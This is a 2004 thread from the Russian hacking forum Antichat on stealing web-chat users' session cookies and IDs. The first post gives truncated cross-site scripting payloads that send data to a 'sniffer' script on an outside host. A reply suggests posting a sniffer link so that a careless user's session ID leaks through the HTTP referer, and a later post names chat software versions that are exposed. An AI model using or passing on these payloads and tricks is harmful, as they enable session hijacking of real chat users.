ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Чаты
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 24.06.2004, 16:53
Аватар для Fr1k
Fr1k
Участник форума
Регистрация: 11.06.2004
Сообщений: 266
Провел на форуме:
15191

Репутация: 13
Отправить сообщение для Fr1k с помощью ICQ
По умолчанию

Ну воТ! снифер получат куки < script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+d...lt;/script> это я сно но а сесли чат как такого работает не через куки ну а хотя бы по сэссиям... тоесть присваивает каждому юзеру сэссию... непомню где видел... но чатов таких много! я думаю покатит и такой ХОД:

< script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+l...lt;/script>
 
Ответить с цитированием

  #2  
Старый 24.06.2004, 21:14
Аватар для zFailure
zFailure
Участник форума
Регистрация: 06.06.2004
Сообщений: 169
Провел на форуме:
0

Репутация: 82
Отправить сообщение для zFailure с помощью ICQ
По умолчанию

любой webчат идентифицирует юзеров либо чере куки либо через get/post запросы (либо и то и другое, но в этом случае они чаще друг друга дополнялют)

если чта передает ID сессии через URL то можно просто выкинуть ссылку на снифер в чат, какойнить лошок кликнет и его IDшник уплывет в переменной HTTP_REFERER =) БЕЗ ВСЯКИХ СКРИПТОВ!
 
Ответить с цитированием

  #3  
Старый 25.06.2004, 09:16
Аватар для Fr1k
Fr1k
Участник форума
Регистрация: 11.06.2004
Сообщений: 266
Провел на форуме:
15191

Репутация: 13
Отправить сообщение для Fr1k с помощью ICQ
По умолчанию

ХМ.! ну это понятно! но для этого нужны тэги! а тэги как такого в нормльных чатах фильтруются! вот и ссылка уже не проходит! я почему написал это потому что встретился с этой проблемой  в чате Eastwood  него до версии 5-56 работал чат через сэссии! выше версии начали работать через куки!
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ